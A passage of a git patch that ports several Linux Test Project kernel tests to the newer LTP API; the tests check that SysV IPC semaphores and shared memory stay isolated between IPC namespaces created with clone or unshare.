-*   Flag = clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC)
-* In Cont1, create semaphore with key 124326L
-* In Cont2, try to access the semaphore created in Cont1.
-* PASS :
-*		If flag = None and the semaphore is accessible in Cont2.
-*		If flag = unshare/clone and the semaphore is not accessible in Cont2.
-*		If semaphore is not accessible in Cont2, creates new semaphore with
-*		the same key to double check isloation in IPCNS.
-*
-* FAIL :
-*		If flag = none and the semaphore is not accessible.
-*		If flag = unshare/clone and semaphore is accessible in Cont2.
-*		If the new semaphore creation Fails.
-***************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines Corp., 2009
+ *				Veerendra C <vechandr@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
 
-#define _GNU_SOURCE 1
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/ipc.h>
+/*\
+ * [Description]
+ *
+ * Test SysV IPC semaphore usage between namespaces and processes.
+ *
+ * [Algorithm]
+ *
+ * Create 2 'containers'
+ * In container1 create semaphore with a specific key and lock it
+ * In container2 try to access the semaphore created in container1 and try to
+ * unlock it.
+ *
+ * If mode = None, test will PASS when semaphore created process1 can be read
+ * and unlocked from process2.
+ * If mode = Clone, test will PASS when semaphore created in container1 can't
+ * be accessed from container2.
+ * If mode = Unshare, test will PASS when semaphore created in container2 can't
+ * be accessed from container2.
+ */
+
+#define _GNU_SOURCE
+
+#include <sys/wait.h>
+#include <sys/msg.h>
+#include <sys/types.h>
 #include <sys/sem.h>
-#include <libclone.h>
-#include "test.h"
-#include "ipcns_helper.h"
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
 
-#define MY_KEY     124326L
-#define UNSHARESTR "unshare"
-#define CLONESTR   "clone"
-#define NONESTR    "none"
+#define MY_KEY 124326L
 
-char *TCID = "semtest_2ns";
-int TST_TOTAL = 1;
-int p1[2];
-int p2[2];
-static struct sembuf semop_lock[2] = {
-	/* sem_num, sem_op, flag */
-	{0, 0, 0},		/* wait for sem#0 to become 0 */
-	{0, 1, SEM_UNDO}	/* then increment sem#0 by 1 */
-};
+static char *str_op;
+static int use_clone;
 
-static struct sembuf semop_unlock[1] = {
-	/* sem_num, sem_op, flag */
-	{0, -1, (IPC_NOWAIT | SEM_UNDO)}	/* decrement sem#0 by 1 (sets it to 0) */
-};
-
-/*
- * sem_lock() - Locks the semaphore for crit-sec updation, and unlocks it later
- */
-void sem_lock(int id)
+static int check_sem1(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	/* Checking the semlock and simulating as if the crit-sec is updated */
-	if (semop(id, &semop_lock[0], 2) < 0) {
-		perror("sem lock error");
-		tst_brkm(TBROK, NULL, "semop failed");
-	}
-	tst_resm(TINFO, "Sem1: File locked, Critical section is updated...");
-	sleep(2);
-	if (semop(id, &semop_unlock[0], 1) < 0) {
-		perror("sem unlock error");
-		tst_brkm(TBROK, NULL, "semop failed");
-	}
+	int id;
+	struct sembuf sm = {
+		.sem_num = 0,
+		.sem_op = 1,
+		.sem_flg = SEM_UNDO,
+	};
+
+	id = SAFE_SEMGET(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
+
+	tst_res(TINFO, "%s: created key in child1", str_op);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	tst_res(TINFO, "Lock semaphore in container1");
+
+	SAFE_SEMOP(id, &sm, 1);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_SEMCTL(id, IPC_RMID, 0);
+
+	return 0;
 }
 
-/*
- * check_sem1 -  does not read -- it writes to check_sem2() when it's done.
- */
-int check_sem1(void *vtest)
+static int check_sem2(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	int id1;
+	int id;
+	struct sembuf sm = {
+		.sem_num = 0,
+		.sem_op = -1,
+		.sem_flg = IPC_NOWAIT | SEM_UNDO,
+	};
 
-	(void) vtest;
+	TST_CHECKPOINT_WAIT(0);
 
-	close(p1[0]);
-	/* 1. Create (or fetch if existing) the binary semaphore */
-	id1 = semget(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
-	if (id1 == -1) {
-		perror("Semaphore create");
-		if (errno != EEXIST) {
-			perror("semget failure");
-			tst_brkm(TBROK, NULL, "semget failure");
-		}
-		id1 = semget(MY_KEY, 1, 0);
-		if (id1 == -1) {
-			perror("Semaphore create");
-			tst_brkm(TBROK, NULL, "semget failure");
-		}
-	}
+	tst_res(TINFO, "%s: reading key in child2", str_op);
 
-	write(p1[1], "go", 3);
-	tst_resm(TINFO, "Cont1: Able to create semaphore");
-	tst_exit();
-}
-
-/*
- * check_sem2() reads from check_sem1() and writes to main() when it's done.
- */
-
-int check_sem2(void *vtest)
-{
-	char buf[3];
-	int id2;
-
-	(void) vtest;
-
-	close(p1[1]);
-	close(p2[0]);
-	read(p1[0], buf, 3);
-
-	id2 = semget(MY_KEY, 1, 0);
-	if (id2 != -1) {
-		sem_lock(id2);
-		write(p2[1], "exists", 7);
+	id = semget(MY_KEY, 1, 0);
+	if (id >= 0) {
+		if (use_clone == T_NONE)
+			tst_res(TPASS, "Plain cloned process able to access the semaphore created");
+		else
+			tst_res(TFAIL, "%s: In namespace2 found semaphore created in namespace1", str_op);
 	} else {
-		/* Trying to create a new semaphore, if semaphore is not existing */
-		id2 = semget(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
-		if (id2 == -1) {
-			perror("Semaphore create");
-			if (errno != EEXIST) {
-				perror("semget failure");
-				tst_resm(TBROK, "semget failure");
-			}
-		} else
-			tst_resm(TINFO,
-				 "Cont2: Able to create semaphore with sameKey");
-		/* Passing the pipe Not-found mesg */
-		write(p2[1], "notfnd", 7);
+		if (use_clone == T_NONE)
+			tst_res(TFAIL, "Plain cloned process didn't find semaphore");
+		else
+			tst_res(TPASS, "%s: In namespace2 unable to access semaphore created in namespace1", str_op);
 	}
 
-	tst_exit();
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	if (id >= 0) {
+		tst_res(TINFO, "Trying to unlock semaphore in container2");
+		TEST(semop(id, &sm, 1));
+
+		if (TST_RET >= 0) {
+			if (use_clone == T_NONE)
+				tst_res(TPASS, "Plain cloned process able to unlock semaphore");
+			else
+				tst_res(TFAIL, "%s: In namespace2 able to unlock the semaphore created in an namespace1", str_op);
+		} else {
+			if (use_clone == T_NONE)
+				tst_res(TFAIL, "Plain cloned process unable to unlock semaphore");
+			else
+				tst_res(TPASS, "%s: In namespace2 unable to unlock the semaphore created in an namespace1", str_op);
+		}
+	}
+
+	TST_CHECKPOINT_WAKE(0);
+
+	return 0;
+}
+
+static void run(void)
+{
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem1, NULL);
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem2, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	check_newipc();
+	use_clone = get_clone_unshare_enum(str_op);
+
+	if (use_clone != T_NONE)
+		check_newipc();
 }
 
-int main(int argc, char *argv[])
+static void cleanup(void)
 {
-	int ret, id, use_clone = T_NONE;
-	char *tsttype = NONESTR;
-	char buf[7];
+	int id;
 
-	setup();
-
-	if (argc != 2) {
-		tst_resm(TINFO, "Usage: %s <clone| unshare| none>", argv[0]);
-		tst_resm(TINFO, " where clone, unshare, or fork specifies"
-			 " unshare method.");
-		tst_exit();
-	}
-
-	/* Using PIPE's to sync between container and Parent */
-	if (pipe(p1) == -1) {
-		perror("pipe1");
-		tst_exit();
-	}
-	if (pipe(p2) == -1) {
-		perror("pipe2");
-		tst_exit();
-	}
-
-	if (strcmp(argv[1], "clone") == 0) {
-		use_clone = T_CLONE;
-		tsttype = CLONESTR;
-	} else if (strcmp(argv[1], "unshare") == 0) {
-		use_clone = T_UNSHARE;
-		tsttype = UNSHARESTR;
-	}
-
-	tst_resm(TINFO, "Semaphore Namespaces Test : %s", tsttype);
-
-	/* Create 2 containers */
-	ret = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem1, NULL);
-	if (ret < 0) {
-		tst_brkm(TFAIL, NULL, "clone/unshare failed");
-	}
-
-	ret = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_sem2, NULL);
-	if (ret < 0) {
-		tst_brkm(TFAIL, NULL, "clone/unshare failed");
-	}
-	close(p2[1]);
-	read(p2[0], buf, 7);
-
-	if (strcmp(buf, "exists") == 0)
-		if (use_clone == T_NONE)
-			tst_resm(TPASS,
-				 "Plain cloned process able to access the semaphore "
-				 "created");
-		else
-			tst_resm(TFAIL,
-				 "%s : In namespace2 found the semaphore "
-				 "created in Namespace1", tsttype);
-	else if (use_clone == T_NONE)
-		tst_resm(TFAIL, "Plain cloned process didn't find semaphore");
-	else
-		tst_resm(TPASS,
-			 "%s : In namespace2 unable to access the semaphore "
-			 "created in Namespace1", tsttype);
-
-	/* Delete the semaphore */
 	id = semget(MY_KEY, 1, 0);
-	semctl(id, IPC_RMID, 0);
-	tst_exit();
+	if (id >= 0) {
+		tst_res(TINFO, "Destroy semaphore");
+		SAFE_SEMCTL(id, IPC_RMID, 0);
+	}
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.options = (struct tst_option[]) {
+		{ "m:", &str_op, "Test execution mode <clone|unshare|none>" },
+		{},
+	},
+};
diff --git a/testcases/kernel/containers/sysvipc/shm_comm.c b/testcases/kernel/containers/sysvipc/shm_comm.c
index 4b3bbfa..12ad491 100644
--- a/testcases/kernel/containers/sysvipc/shm_comm.c
+++ b/testcases/kernel/containers/sysvipc/shm_comm.c
@@ -1,20 +1,17 @@
-/* Copyright (c) 2014 Red Hat, Inc.
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
+ * Test if SysV IPC shared memory is properly working between two different
+ * namespaces.
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
+ * [Algorithm]
  *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: shm_comm.c
- *
- * Description:
  * 1. Clones two child processes with CLONE_NEWIPC flag, each child
  *    allocates System V shared memory segment (shm) with the _identical_
  *    key and attaches that segment into its address space.
@@ -27,141 +24,77 @@
  */
 
 #define _GNU_SOURCE
-#include <sys/ipc.h>
-#include <sys/shm.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include <errno.h>
-#include "ipcns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
 
+#include <sys/wait.h>
+#include <sys/msg.h>
+#include <sys/types.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
 
 #define TESTKEY 124426L
 #define SHMSIZE 50
-char *TCID	= "shm_comm";
-int TST_TOTAL	= 1;
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
-static void setup(void)
-{
-	tst_require_root();
-	check_newipc();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(tst_rmdir);
-}
-
-int chld1_shm(void *arg)
-{
-	int id, rval = 0;
-	char *shmem;
-
-	id = shmget(TESTKEY, SHMSIZE, IPC_CREAT);
-	if (id == -1) {
-		perror("shmget");
-		return 2;
-	}
-
-	if ((shmem = shmat(id, NULL, 0)) == (char *) -1) {
-		perror("shmat");
-		shmctl(id, IPC_RMID, NULL);
-		return 2;
-	}
-
-	*shmem = 'A';
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	/* if child1 shared segment has changed (by child2) report fail */
-	if (*shmem != 'A')
-		rval = 1;
-
-	/* tell child2 to continue */
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-
-	shmdt(shmem);
-	shmctl(id, IPC_RMID, NULL);
-	return rval;
-}
-
-int chld2_shm(void *arg)
+static int chld1_shm(LTP_ATTRIBUTE_UNUSED void *arg)
 {
 	int id;
 	char *shmem;
 
-	id = shmget(TESTKEY, SHMSIZE, IPC_CREAT);
-	if (id == -1) {
-		perror("shmget");
-		return 2;
-	}
+	id = SAFE_SHMGET(TESTKEY, SHMSIZE, IPC_CREAT);
 
-	if ((shmem = shmat(id, NULL, 0)) == (char *) -1) {
-		perror("shmat");
-		shmctl(id, IPC_RMID, NULL);
-		return 2;
-	}
+	shmem = SAFE_SHMAT(id, NULL, 0);
+	*shmem = 'A';
 
-	/* wait for child1 to write to his segment */
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	*shmem = 'B';
+	if (*shmem != 'A')
+		tst_res(TFAIL, "shared memory leak between namespaces");
+	else
+		tst_res(TPASS, "shared memory didn't leak between namespaces");
 
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAKE(0);
 
-	shmdt(shmem);
-	shmctl(id, IPC_RMID, NULL);
+	SAFE_SHMDT(shmem);
+	SAFE_SHMCTL(id, IPC_RMID, NULL);
+
 	return 0;
 }
 
-static void test(void)
+static int chld2_shm(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int status, ret = 0;
+	int id;
+	char *shmem;
 
-	ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_shm, NULL);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+	id = SAFE_SHMGET(TESTKEY, SHMSIZE, IPC_CREAT);
 
-	ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_shm, NULL);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+	shmem = SAFE_SHMAT(id, NULL, 0);
 
+	TST_CHECKPOINT_WAIT(0);
 
-	while (wait(&status) > 0) {
-		if (WIFEXITED(status) && WEXITSTATUS(status) == 1)
-			ret = 1;
-		if (WIFEXITED(status) && WEXITSTATUS(status) == 2)
-			tst_brkm(TBROK | TERRNO, cleanup, "error in child");
-		if (WIFSIGNALED(status)) {
-			tst_resm(TFAIL, "child was killed with signal %s",
-					tst_strsig(WTERMSIG(status)));
-			return;
-		}
-	}
+	*shmem = 'B';
 
-	if (ret)
-		tst_resm(TFAIL, "SysV shm: communication with identical keys"
-				" between namespaces");
-	else
-		tst_resm(TPASS, "SysV shm: communication with identical keys"
-				" between namespaces");
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_SHMDT(shmem);
+	SAFE_SHMCTL(id, IPC_RMID, NULL);
+
+	return 0;
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
-
-	cleanup();
-	tst_exit();
+	clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_shm, NULL);
+	clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_shm, NULL);
 }
+
+static void setup(void)
+{
+	check_newipc();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/sysvipc/shmem_2nstest.c b/testcases/kernel/containers/sysvipc/shmem_2nstest.c
index b172ee0..ea3de94 100644
--- a/testcases/kernel/containers/sysvipc/shmem_2nstest.c
+++ b/testcases/kernel/containers/sysvipc/shmem_2nstest.c
@@ -1,187 +1,105 @@
-/* *************************************************************************
-* Copyright (c) International Business Machines Corp., 2009
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-* Author: Veerendra C <vechandr@in.ibm.com>
-*
-* Test Assertion:
-* This testcase verifies the Shared Memory isoloation in 2 containers.
-* It tries to create/access a Shared Memory created with the same KEY.
-*
-* Description:
-* Create 2 'containers' with the below flag value
-*   Flag = clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC)
-* In Cont1, create Shared Memory segment with key 124426L
-* In Cont2, try to access the MQ created in Cont1.
-* PASS :
-* 		If flag = None and the shmem seg is accessible in Cont2.
-*		If flag = unshare/clone and the shmem seg is not accessible in Cont2.
-* 		If shmem seg is not accessible in Cont2,
-*		creates new shmem with same key to double check isloation in IPCNS.
-*
-* FAIL :
-* 		If flag = none and the shmem seg is not accessible.
-* 		If flag = unshare/clone and shmem seg is accessible in Cont2.
-*		If the new shmem seg creation Fails.
-***************************************************************************/
-
-#define _GNU_SOURCE 1
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/ipc.h>
-#include <sys/shm.h>
-#include <libclone.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "ipcns_helper.h"
-
-#define TESTKEY    124426L
-#define UNSHARESTR "unshare"
-#define CLONESTR   "clone"
-#define NONESTR    "none"
-
-char *TCID = "shmem_2nstest";
-int TST_TOTAL = 1;
-int p2[2];
-int p1[2];
-
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * check_shmem1() does not read -- it writes to check_shmem2() when it's done.
+ * Copyright (c) International Business Machines Corp., 2009
+ *				Veerendra C <vechandr@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
-int check_shmem1(void *vtest)
+
+/*\
+ * [Description]
+ *
+ * Test if SysV IPC shared memory is properly used between two namespaces.
+ *
+ * [Algorithm]
+ *
+ * Create two 'containers'.
+ * In container1, create Shared Memory segment with a specific key.
+ * In container2, try to access the MQ created in container1.
+ *
+ * Test is PASS if flag = none and the shmem seg is accessible in container2.
+ * If flag = unshare/clone and the shmem seg is not accessible in container2.
+ * If shmem seg is not accessible in container2, creates new shmem with same
+ * key to double check isloation in IPCNS.
+ *
+ * Test is FAIL if flag = none and the shmem seg is not accessible, if
+ * flag = unshare/clone and shmem seg is accessible in container2 or if the new
+ * shmem seg creation Fails.
+ */
+
+#define _GNU_SOURCE
+
+#include <sys/wait.h>
+#include <sys/msg.h>
+#include <sys/types.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
+
+#define TESTKEY 124426L
+
+static char *str_op;
+static int use_clone;
+
+static int check_shmem1(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	int id1;
+	int id;
 
-	(void) vtest;
+	id = SAFE_SHMGET(TESTKEY, 100, IPC_CREAT);
 
-	close(p1[0]);
+	tst_res(TINFO, "container1: able to create shared mem segment");
 
-	/* first create the key */
-	id1 = shmget(TESTKEY, 100, IPC_CREAT);
-	if (id1 == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "shmget failed");
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	tst_resm(TINFO, "Cont1: Able to create shared mem segment");
-	write(p1[1], "done", 5);
-	tst_exit();
+	SAFE_SHMCTL(id, IPC_RMID, NULL);
+
+	return 0;
 }
 
-/*
- * check_shmem2() reads from check_shmem1() and writes to main() when it's done.
- */
-int check_shmem2(void *vtest)
+static int check_shmem2(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	char buf[3];
-	int id2;
+	TST_CHECKPOINT_WAIT(0);
 
-	(void) vtest;
+	TEST(shmget(TESTKEY, 100, 0));
 
-	close(p1[1]);
-	close(p2[0]);
-
-	read(p1[0], buf, 3);
-	/* Trying to access shmem, if not existing create new shmem */
-	id2 = shmget(TESTKEY, 100, 0);
-	if (id2 == -1) {
-		id2 = shmget(TESTKEY, 100, IPC_CREAT);
-		if (id2 == -1)
-			tst_resm(TFAIL | TERRNO, "shmget failed");
+	if (TST_RET < 0) {
+		if (use_clone == T_NONE)
+			tst_res(TFAIL, "Plain cloned process didn't find shmem segment");
 		else
-			tst_resm(TINFO,
-				 "Cont2: Able to allocate shmem seg with "
-				 "the same key");
-		write(p2[1], "notfnd", 7);
-	} else
-		write(p2[1], "exists", 7);
+			tst_res(TPASS, "%s: in namespace2 unable to access the shmem seg created in namespace1", str_op);
+	} else {
+		if (use_clone == T_NONE)
+			tst_res(TPASS, "Plain cloned process able to access shmem segment created");
+		else
+			tst_res(TFAIL, "%s: in namespace2 found the shmem segment created in namespace1", str_op);
+	}
 
-	tst_exit();
+	TST_CHECKPOINT_WAKE(0);
+
+	return 0;
+}
+
+static void run(void)
+{
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem1, NULL);
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem2, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	check_newipc();
+	use_clone = get_clone_unshare_enum(str_op);
+
+	if (use_clone != T_NONE)
+		check_newipc();
 }
 
-int main(int argc, char *argv[])
-{
-	int ret, use_clone = T_NONE;
-	char *tsttype = NONESTR;
-	char buf[7];
-	int id;
-
-	setup();
-
-	if (argc != 2) {
-		tst_resm(TINFO, "Usage: %s <clone| unshare| none>", argv[0]);
-		tst_resm(TINFO, " where clone, unshare, or fork specifies"
-			 " unshare method.");
-		tst_exit();
-	}
-
-	/* Using PIPE's to sync between containers and Parent */
-	SAFE_PIPE(NULL, p1);
-	SAFE_PIPE(NULL, p2);
-
-	if (strcmp(argv[1], "clone") == 0) {
-		use_clone = T_CLONE;
-		tsttype = CLONESTR;
-	} else if (strcmp(argv[1], "unshare") == 0) {
-		use_clone = T_UNSHARE;
-		tsttype = UNSHARESTR;
-	}
-
-	tst_resm(TINFO, "Shared Memory namespace test : %s", tsttype);
-
-	/* Create 2 containers */
-	ret =
-	    do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem1, NULL);
-	if (ret < 0)
-		tst_brkm(TFAIL, NULL, "clone/unshare failed");
-
-	ret =
-	    do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmem2, NULL);
-	if (ret < 0)
-		tst_brkm(TFAIL, NULL, "clone/unshare failed");
-
-	close(p2[1]);
-	read(p2[0], buf, 7);
-
-	if (strcmp(buf, "exists") == 0) {
-		if (use_clone == T_NONE)
-			tst_resm(TPASS,
-				 "Plain cloned process able to access shmem "
-				 "segment created");
-		else
-			tst_resm(TFAIL,
-				 "%s : In namespace2 found the shmem segment "
-				 "created in Namespace1", tsttype);
-	} else {
-		if (use_clone == T_NONE)
-			tst_resm(TFAIL,
-				 "Plain cloned process didn't find shmem seg");
-		else
-			tst_resm(TPASS,
-				 "%s : In namespace2 unable to access the shmem seg "
-				 "created in Namespace1", tsttype);
-	}
-	/* destroy the key */
-
-	id = shmget(TESTKEY, 100, 0);
-	shmctl(id, IPC_RMID, NULL);
-
-	tst_exit();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.options = (struct tst_option[]) {
+		{ "m:", &str_op, "Test execution mode <clone|unshare|none>" },
+		{},
+	},
+};
diff --git a/testcases/kernel/containers/sysvipc/shmnstest.c b/testcases/kernel/containers/sysvipc/shmnstest.c
index cf69cab..d8ace72 100644
--- a/testcases/kernel/containers/sysvipc/shmnstest.c
+++ b/testcases/kernel/containers/sysvipc/shmnstest.c
@@ -1,144 +1,82 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
-* Copyright (c) International Business Machines Corp., 2007
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-* Author: Serge Hallyn <serue@us.ibm.com>
-*
-* Create shm with key 0xEAEAEA
-* clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC)
-* In cloned process, try to get the created shm
+ * Copyright (c) International Business Machines Corp., 2007
+ *				Serge Hallyn <serue@us.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
 
-***************************************************************************/
+/*\
+ * [Description]
+ *
+ * Test if SysV IPC shared memory with a specific key is shared between
+ * processes and namespaces.
+ */
 
-#define _GNU_SOURCE 1
+#define _GNU_SOURCE
+
 #include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <sys/ipc.h>
-#include <sys/shm.h>
-#include "ipcns_helper.h"
-#include "test.h"
+#include <sys/msg.h>
+#include <sys/types.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
 
-char *TCID = "sysvipc_namespace";
-int TST_TOTAL = 1;
 #define TESTKEY 0xEAEAEA
 
-int p1[2];
-int p2[2];
+static char *str_op;
+static int use_clone;
+static int ipc_id = -1;
 
-int check_shmid(void *vtest)
+static int check_shmid(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	char buf[3];
-	int id;
-
-	(void) vtest;
-
-	close(p1[1]);
-	close(p2[0]);
-
-	read(p1[0], buf, 3);
-	id = shmget(TESTKEY, 100, 0);
-	if (id == -1) {
-		write(p2[1], "notfnd", 7);
+	TEST(shmget(TESTKEY, 100, 0));
+	if (TST_RET < 0) {
+		if (use_clone == T_NONE)
+			tst_res(TFAIL, "plain cloned process didn't find shmid");
+		else
+			tst_res(TPASS, "%s: child process didn't find shmid", str_op);
 	} else {
-		write(p2[1], "exists", 7);
-		shmctl(id, IPC_RMID, NULL);
+		if (use_clone == T_NONE)
+			tst_res(TPASS, "plain cloned process found shmid");
+		else
+			tst_res(TFAIL, "%s: child process found shmid", str_op);
 	}
 
-	tst_exit();
+	return 0;
+}
+
+static void run(void)
+{
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmid, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	check_newipc();
+	use_clone = get_clone_unshare_enum(str_op);
+
+	if (use_clone != T_NONE)
+		check_newipc();
+
+	ipc_id = shmget(TESTKEY, 100, IPC_CREAT);
 }
 
-#define UNSHARESTR "unshare"
-#define CLONESTR "clone"
-#define NONESTR "none"
-int main(int argc, char *argv[])
+static void cleanup(void)
 {
-	int r, use_clone = T_NONE;
-	int id;
-	char *tsttype = NONESTR;
-	char buf[7];
-
-	setup();
-
-	if (argc != 2) {
-		tst_resm(TFAIL, "Usage: %s <clone|unshare|none>", argv[0]);
-		tst_brkm(TFAIL,
-			 NULL,
-			 " where clone, unshare, or fork specifies unshare method.");
+	if (ipc_id != -1) {
+		tst_res(TINFO, "Destroying shared memory");
+		SAFE_SHMCTL(ipc_id, IPC_RMID, NULL);
 	}
-	if (pipe(p1) == -1) {
-		perror("pipe");
-		exit(EXIT_FAILURE);
-	}
-	if (pipe(p2) == -1) {
-		perror("pipe");
-		exit(EXIT_FAILURE);
-	}
-	tsttype = NONESTR;
-	if (strcmp(argv[1], "clone") == 0) {
-		use_clone = T_CLONE;
-		tsttype = CLONESTR;
-	} else if (strcmp(argv[1], "unshare") == 0) {
-		use_clone = T_UNSHARE;
-		tsttype = UNSHARESTR;
-	}
-
-	/* first create the key */
-	id = shmget(TESTKEY, 100, IPC_CREAT);
-	if (id == -1) {
-		perror("shmget");
-		tst_brkm(TFAIL, NULL, "shmget failed");
-	}
-
-	tst_resm(TINFO, "shmid namespaces test : %s", tsttype);
-	/* fire off the test */
-	r = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_shmid, NULL);
-	if (r < 0) {
-		tst_brkm(TFAIL, NULL, "%s failed", tsttype);
-	}
-
-	close(p1[0]);
-	close(p2[1]);
-	write(p1[1], "go", 3);
-	read(p2[0], buf, 7);
-	if (strcmp(buf, "exists") == 0) {
-		if (use_clone == T_NONE)
-			tst_resm(TPASS, "plain cloned process found shmid");
-		else
-			tst_resm(TFAIL, "%s: child process found shmid",
-				 tsttype);
-	} else {
-		if (use_clone == T_NONE)
-			tst_resm(TFAIL,
-				 "plain cloned process didn't find shmid");
-		else
-			tst_resm(TPASS, "%s: child process didn't find shmid",
-				 tsttype);
-	}
-
-	/* destroy the key */
-	shmctl(id, IPC_RMID, NULL);
-
-	tst_exit();
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.options = (struct tst_option[]) {
+		{ "m:", &str_op, "Test execution mode <clone|unshare|none>" },
+		{},
+	},
+};
diff --git a/testcases/kernel/containers/userns/common.h b/testcases/kernel/containers/userns/common.h
new file mode 100644
index 0000000..aed4aa5
--- /dev/null
+++ b/testcases/kernel/containers/userns/common.h
